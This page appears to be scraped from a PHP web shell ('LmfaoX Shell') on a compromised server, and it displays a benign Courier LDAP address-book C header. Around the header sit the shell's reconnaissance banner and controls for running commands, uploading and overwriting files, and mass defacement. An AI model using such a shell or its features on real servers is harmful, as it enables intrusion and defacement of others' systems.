ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.72 GB of 70.42 GB (36.52%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ ldapaddressbook/ - drwxrwxrwx

Directory:
Viewing file:     ldapaddressbook.h (2.69 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#ifndef    ldapaddressbook_h
#define    ldapaddressbook_h


#include <stdio.h>

/*
** Copyright 2000-2002 Double Precision, Inc.  See COPYING for
** distribution information.
*/

#ifdef  __cplusplus
extern "C" {
#endif

/*
** This module implements an abstraction of an interface to an LDAP address
** book.  There's no reason to reinvent the wheel, so we simply run ldapsearch
** as a child process, and read its output.  ldapsearch is run indirectly, via
** a stub shell script that can be customized on a given system.  The template
** for the stub shell script is provided.
**
** There's a small library here that can be used to maintain a configuration
** file listing available address books that can be contacted.  The format
** of each line in this library is simply:
**
** name<tab>host<tab>port<tab>suffix<tab>binddn<tab>bindpw
**
** Functions are provided to add and remove names from this configuration
** file easily.  The above is parsed into the following structure:
*/

struct ldapabook {
    struct ldapabook *next;

    char    *name;
    char    *host;
    char    *port;
    char    *suffix;
    char    *binddn;
    char    *bindpw;

    struct    ldapabook_opts *opts;

    } ;

struct ldapabook_opts {
    struct ldapabook_opts *next;
    char    *options;    /* First char - name, rest - value */
} ;

    /* Potential first chars: */

#define SASL_SECURITY_PROPERTIES    'O'
#define SASL_AUTHENTICATION_ID        'U'
#define    SASL_AUTHENTICATION_RID        'X'  /* u:username, or dn:dn */
#define    SASL_AUTHENTICATION_MECHANISM    'Y'
#define SASL_STARTTLS            'Z'

/* Read a configuration file, and create a link list of ldapabook structs */

struct ldapabook *ldapabook_read(const char *);        /* filename */

/* Free memory allocated by ldapabook_init */

void ldapabook_free(struct ldapabook *);

/* Find a certain address book */

const struct ldapabook *ldapabook_find(const struct ldapabook *,
                    const char *);

/* Add a new entry to the address book */

int ldapabook_add(const char *,            /* filename */
        const struct ldapabook *);    /* new entry */

/* Delete an entry from the address book */

int ldapabook_del(const char *,        /* filename */
        const char *,        /* temporary filename on same filesys */
        const char *);        /* name to delete */

/* Run ldapsearch in the background, return a file descriptor containing
** ldapsearch's output.
*/

int ldapabook_search(const struct ldapabook *b,    /* Search this address book */
             const char *script,
             const char *search,
             int (*callback_func)(const char *utf8_name,
                      const char *address,
                      void *callback_arg),
             void (*callback_err)(const char *errmsg,
                      void *callback_arg),
             void *callback_arg);

/*
** Internal function:
*/

void ldapabook_writerec(const struct ldapabook *, FILE *);

#ifdef  __cplusplus
}
#endif

#endif
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1855 seconds